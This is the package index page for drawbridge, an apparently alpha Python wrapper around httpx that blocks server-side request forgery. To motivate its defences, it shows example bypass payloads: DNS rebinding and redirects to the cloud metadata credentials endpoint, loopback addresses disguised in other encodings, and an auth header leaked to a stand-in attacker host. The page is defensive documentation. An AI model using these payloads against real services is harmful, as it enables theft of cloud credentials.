SSRF-safe HTTP client for Python. Opinionated httpx wrapper that blocks private IPs, prevents DNS rebinding, and validates redirects.
Project description
Drawbridge
Drop-in SSRF protection for Python. Wraps httpx so every outbound request blocks private IPs, prevents DNS rebinding, and validates redirects — with zero configuration.
pip install drawbridge
import drawbridge
response = await drawbridge.get("https://example.com/api/data")
print(response.json())
That's it. Private IPs, link-local, cloud metadata endpoints, IPv6 transition bypasses — all blocked by default. DNS is resolved once and pinned for the connection, so rebinding attacks are structurally impossible.
Why not just validate the URL?
The obvious approach to SSRF protection is: parse the URL, resolve the hostname, check if the IP is private, then make the request. This has been tried many times. It does not work.
The validate-then-fetch gap (DNS rebinding)
import ipaddress, socket, httpx
from urllib.parse import urlparse
def is_safe(url):
hostname = urlparse(url).hostname
ip = socket.getaddrinfo(hostname, None)[0][4][0]
return not ipaddress.ip_address(ip).is_private
# Looks correct — but there's a gap between check and use
if is_safe(url):
response = httpx.get(url) # DNS is resolved AGAIN here
An attacker's DNS server returns 93.184.216.34 (public) on the first query, then 169.254.169.254 (AWS metadata) on the second. Your check passes. Their request lands on your cloud metadata endpoint. This is called DNS rebinding, and it has produced critical CVEs in MindsDB (CVSS 9.3), Gradio (CVSS 8.6), and LangChain.
More bypasses that break URL validation
Redirects as SSRF launchers
# Your check passes: attacker.com resolves to a public IP
if is_safe("https://attacker.com/start"):
response = httpx.get("https://attacker.com/start", follow_redirects=True)
# But the server responds with:
# HTTP/1.1 302 Found
# Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/
The initial URL is safe. The redirect target is not. Most HTTP libraries follow redirects transparently — your validation only checked the first hop. Drawbridge re-validates the IP on every redirect.
IP address obfuscation
All of these resolve to 127.0.0.1:
http://2130706433/ # decimal encoding
http://0x7f000001/ # hex encoding
http://0177.0.0.1/ # octal encoding
http://127.1/ # shorthand (OS-dependent)
http://[::ffff:127.0.0.1]/ # IPv4-mapped IPv6
http://127.0.0.1.nip.io/ # wildcard DNS service
A URL-parsing-based check must handle all of these. A transport-level check doesn't care — it sees the resolved IP after getaddrinfo(), regardless of how it was spelled.
Cross-origin credential leakage
response = httpx.get(
"https://attacker.com/start",
headers={"Authorization": "Bearer sk-live-xxx"},
follow_redirects=True,
)
# attacker.com redirects to https://evil-logger.com/capture
# Your Authorization header is forwarded to the attacker's server.
Drawbridge strips Authorization, Cookie, and other sensitive headers on any cross-origin redirect.
Mixed DNS records
# evil.com resolves to BOTH 93.184.216.34 (public) and 10.0.0.1 (private)
addrs = socket.getaddrinfo("evil.com", 443)
# The OS chooses which IP to connect to — the attacker influences
# this via DNS round-robin ordering.
Drawbridge rejects the entire request if any resolved IP is in a blocked range.
Drawbridge prevents all of these by design. DNS resolution, IP validation, and TCP connection happen in a single code path — there is no gap to exploit, no encoding to smuggle through, no redirect to sneak past.
When to use this
Any time your application fetches a URL that came from a user, webhook config, AI agent tool call, or external API.
import drawbridge
from drawbridge import Client
# Webhook delivery — no redirects allowed
await drawbridge.post(callback_url, json=event, max_redirects=0)
# AI agent tool call — fetch URL from untrusted model output
result = await drawbridge.get(tool_call.url, max_redirects=0)
# Domain-restricted client
async with Client(allow_domains=["*.example.com", "api.stripe.com"]) as client:
data = await client.get("https://api.example.com/users")
How it works
Drawbridge replaces httpx's transport layer. For every request:
- Resolve DNS — single
getaddrinfo()call - Validate all IPs — reject if any resolved address is private/reserved
- Pin the connection — rewrite URL to validated IP, set Host header and TLS SNI to original hostname
- Re-validate redirects — each hop goes through steps 1-3 again
The IP that was validated is the IP that gets connected to. There's no gap between check and use.
Error handling
try:
response = await drawbridge.get(url)
response.raise_for_status()
except drawbridge.DrawbridgeError:
pass # SSRF violation (blocked IP, domain, port, scheme, or DNS failure)
except httpx.HTTPStatusError:
pass # 4xx/5xx from raise_for_status()
SSRF exceptions inherit from drawbridge.DrawbridgeError. Response is an httpx.Response — all standard methods work. See architecture.md for the full exception hierarchy.
Configuration
Set a global default policy so every request uses your settings:
import drawbridge
drawbridge.configure(
block_domains=["metadata.google.internal"],
allow_ports=[80, 443],
)
Explicit arguments to Client(), SyncClient(), or convenience functions override the global default. Reset to safe defaults with configure(None). See policy reference for all fields.
Sync API
drawbridge.sync provides the same protection with a blocking interface:
import drawbridge.sync
response = drawbridge.sync.get("https://example.com/api/data")
Streaming
async with drawbridge.stream("GET", url) as response:
async for chunk in response.aiter_bytes():
process(chunk)
Testing
Drawbridge blocks localhost by default, but test servers bind to 127.0.0.1. Use configure() in your test fixtures:
# conftest.py
import drawbridge
@pytest.fixture(autouse=True)
def _drawbridge_test_policy(httpserver):
drawbridge.configure(allow_private=True, allow_ports=[httpserver.port])
yield
drawbridge.configure(None) # Reset to safe defaults
Limitations
Alpha (0.1.x). API may change before 1.0. Not yet independently audited — see SECURITY.md.
HTTP_PROXY/HTTPS_PROXY env vars are ignored — client-side SSRF protection and proxy routing are architecturally incompatible (the proxy makes the real connection, not drawbridge). For proxy environments, use Smokescreen where the proxy itself enforces the denylist.
Does not include retry/backoff — use tenacity. Does not protect against application-logic SSRF where your code constructs URLs from user input before passing them to drawbridge.
Docs
- Policy reference — all
Policyfields with defaults and notes - Security model — threat model, blocked IP ranges, attack coverage
- Architecture — SafeTransport, redirect handling, exception hierarchy
License
MIT
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file drawbridge-0.1.2.tar.gz.
File metadata
- Download URL: drawbridge-0.1.2.tar.gz
- Upload date:
- Size: 15.6 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: uv/0.9.5
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
a61831894232b7ea7b1e3e77085f201818f5c42a62d5cefaef4eca6c79ccf45a
|
|
| MD5 |
d85c2364fdea97d1d92ba8689f11e67e
|
|
| BLAKE2b-256 |
3235c70e9c1659cfdc93582c1416fb1d3be7028cd68f5abe362265a0ee5def11
|
File details
Details for the file drawbridge-0.1.2-py3-none-any.whl.
File metadata
- Download URL: drawbridge-0.1.2-py3-none-any.whl
- Upload date:
- Size: 21.2 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: uv/0.9.5
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
f641642ac26361789497856a0b4791de2bd3fffea681df34a2dc5d68a7a66fca
|
|
| MD5 |
e7100500d168dfc0590f1fea8d4ddbe3
|
|
| BLAKE2b-256 |
8d5d403c979fdf4a8f5a37196a8bb187a5f6e8982a5f28dbcd4a08f02c116d98
|